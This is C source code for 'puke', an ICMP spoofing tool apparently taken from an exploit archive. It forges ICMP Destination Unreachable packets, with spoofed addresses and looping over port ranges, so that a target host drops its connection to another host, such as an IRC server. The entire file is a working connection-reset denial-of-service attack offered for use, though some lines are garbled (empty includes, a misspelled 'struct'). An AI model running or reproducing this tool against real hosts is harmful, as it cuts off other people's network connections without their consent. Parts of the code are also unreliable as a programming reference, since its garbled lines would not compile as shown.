/* http://www.anticode.com for the latest exploits, tools and documents! */ /***************************************************************************** * puke - By Myxovirus, and Pyxel PiXiE ***************************************************************************** puke spoofs an icmp unreachable error from an irc host (or any other host for that matter), to a target host, from a source port(s), to the target port(s). The target host will (hopefully) pass this error up to the application layer and the TARGET will drop the connection from the SOURCE. We say "hopefully", because through enabling IP Firewalling and filtering out ICMP Unreachables a host can be immune to these attacks (most ISPs, and larger networks have some sort of firewall configured, but some still, do not filter out our ICMP Unreachable messages). Modified Feb 14, 2000 - PyXeL +Output modified greatly, description of ICMP being sent +Small optimization techniques applied, more to be applied later -Upper to Lower bounds disabled on accident Modified Feb 13, 2000 - Myxovirus +Better descriptions of ICMP message +Upper to Lower bounds reinstated :P -----------> heh, we still dun have a group name :( *****************************************************************************/ #include #include #include #include #include #include #include #include #include #define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct icmphdr) + \ sizeof(struct iphdr) + 8) #define ICMPSIZE (sizeof(struct icmphdr) + sizeof(struct iphdr) + 8) #define offsetTCP (sizeof(struct iphdr) + sizeof(struct icmphdr) + \ sizeof(struct iphdr)) #define offsetIP (sizeof(struct iphdr) + sizeof(struct icmphdr)) #define offsetICMP (sizeof(struct iphdr)) #define offsetRIP (0) static int thecode; u_short cksum(u_short *, int); void sendkill(char *, int, char *, int); void resolve_address(struct sockaddr *, char *, u_short); u_short cksum(u_short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum ; } void resolve_address(sruct sockaddr * addr, char *hostname, u_short port) { sruct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)addr; (void) bzero( (char *)address, sizeof(struct sockaddr_in) ); /* fill in the easy fields */ address->sin_family = AF_INET; address->sin_port = htons(port); /* first, check if the address is an ip address */ address->sin_addr.s_addr = inet_addr(hostname); if ( (int)address->sin_addr.s_addr == -1) { /*it wasn't.. so we try it as a long host name */ host = gethostbyname(hostname); if (host) { /* wow. It's a host name.. set the fields */ /* ?? address->sin_family = host->h_addrtype; */ bcopy( host->h_addr, (char *)&address->sin_addr, host->h_length); } else { /* oops.. can't find it.. */ puts("Couldn't resolve address!!!"); exit(-1); } } /* all done. */ } void sendkill(char *fromhost, int fromport, char *tohost, int toport) { char *packet; static struct sockaddr_in local, remote; static int sock = 0; if (!sock) { resolve_address((struct sockaddr *)&local, fromhost, fromport); resolve_address((struct sockaddr *)&remote, tohost, toport); sock = socket(AF_INET, SOCK_RAW, 255); if (sock==-1) { perror("Getting raw socket"); exit(-1); } } /* . Get memory for the packet */ packet = (char *)malloc(PACKETSIZE); if (!packet) { perror("Getting space for packet"); exit(-1); } /* . Fill in our pretended TCP header . note - since this was allegedly an outgoing packet... we have . to flip the source and destination stuff */ { struct tcphdr *fake_tcp; fake_tcp = (struct tcphdr *)(packet + offsetTCP); fake_tcp->th_dport = htons(fromport); fake_tcp->th_sport = htons(toport); fake_tcp->th_seq = 0x1984; } /* . fill in the fake IP header. . the same reversal as above still applies.. the packet was sent . to our machine (yeah right) */ { struct iphdr *fake_ip; fake_ip = (struct iphdr *)(packet + offsetIP); /* these fields are irrelevant -- never checked?? */ fake_ip->version = 4; /* this was much longer.. once */ fake_ip->tot_len = htons(0x2C); fake_ip->tos = 0; fake_ip->id = htons(getpid() & 255); fake_ip->frag_off = 0; fake_ip->ttl = 24; /* not so long to live anymore */ /* this CAN'T be checked..so do something != 0 */ fake_ip->check = 3805; /* these fields are used .. */ fake_ip->ihl = 5; bcopy((char *)&local.sin_addr, &fake_ip->daddr, sizeof(fake_ip->daddr)); bcopy((char *)&remote.sin_addr,&fake_ip->saddr, sizeof(fake_ip->saddr)); fake_ip->protocol = 6; /* a TCP packet */ } /* . fill in the ICMP header . this is actally rather trivial, though don't forget the checksum */ { struct icmphdr *icmp; icmp = (struct icmphdr *)(packet + offsetICMP); icmp->type = 3; icmp->code = thecode; /* this will generate an error message */ icmp->un.gateway = 0; icmp->checksum = cksum((u_short *)(icmp), ICMPSIZE >> 1); } /* . finally, fill in the IP header . this is almost the same as above.. though this time, it is the . ip header that really takes the packet places. make sure the . checksum and addresses are right */ { struct iphdr *real_ip; real_ip = (struct iphdr *)packet; real_ip->version = 4; real_ip->ihl = 5; real_ip->tot_len = htons(PACKETSIZE); real_ip->tos = (7 << 5) | 4; real_ip->ttl = 255; real_ip->protocol = 1; real_ip->check = 0; real_ip->id = htons(3); real_ip->frag_off = 0; bcopy((char *)&local.sin_addr, &real_ip->saddr, sizeof(real_ip->saddr)); bcopy((char *)&remote.sin_addr, &real_ip->daddr, sizeof(real_ip->daddr)); /* real_ip->saddr = htonl(ntohl(real_ip->daddr) & 0xffffff00L); */ real_ip->check = cksum((u_short *)packet, sizeof(struct iphdr) >> 1); } /* . . and now.. finally... send it out into the net */ { int result; result = sendto(sock, packet, PACKETSIZE, 0, (struct sockaddr *)&remote, sizeof(remote)); if (result != PACKETSIZE) { perror("sending packet"); } } } char *ICMP_TYPE(void) { char *mytype; mytype = "Unknown Type"; switch(thecode) { case 0: mytype = "Net Unreacheable"; break; case 1: mytype = "Host Unreacheable"; break; case 2: mytype = "Protocol Unreacheable"; break; case 3: mytype = "Port Unreacheable"; break; case 4: mytype = "Fragmentation Needed (doesnt cause reset)"; break; case 5: mytype = "Source Route Failed"; break; case 6: mytype = "Net Unknown"; break; case 7: mytype = "Host Unknown"; break; case 8: mytype = "Host Isolated"; break; case 9: mytype = "AuthNet"; break; case 10: mytype = "AuthHost"; break; case 11: mytype = "NetSvc"; break; case 12: mytype = "HostSvc"; break; case 13: mytype = "Packet Filtered"; break; case 14: mytype = "Precedence Violation"; break; case 15: mytype = "Precedence Cutoff"; break; } return(mytype); } main(int argc, char *argv[]) { int si, i, codes; if ((argc < 8) || (argc > 9)) { puts("usage:"); puts(" puke \\"); puts(" \\" ); puts(" [-v] (optional verbose mode)"); exit(-1); } thecode = atoi(argv[7]); printf("Using ICMP Destination Unreacheable Code %d [%s]\n", thecode, ICMP_TYPE()); for (si = atoi(argv[2]); si <= atoi(argv[3]); si++) { printf("*** Source Port: %d\n", si); if (argc == 8) printf("*** Target Port : %d to %d\n", atoi(argv[5]), atoi(argv[6])); if (atoi(argv[5]) <= atoi(argv[6])) { for (i = atoi(argv[5]); i <= atoi(argv[6]); i++) { if ((argc > 8) && (strcmp(argv[8],"-v")==0)) printf("%d \n", i); sendkill(argv[1], si, argv[4], i); usleep(30000); } } else { if (argc == 8) printf("*** Target Port : %d downto %d\n", atoi(argv[5]), atoi(argv[6])); for (i = atoi(argv[5]); i >= atoi(argv[6]); i--) { if ((argc > 8) && (strcmp(argv[8],"-v")==0)) printf("%d \n", i); sendkill(argv[1], si, argv[4], i); usleep(30000); } } } }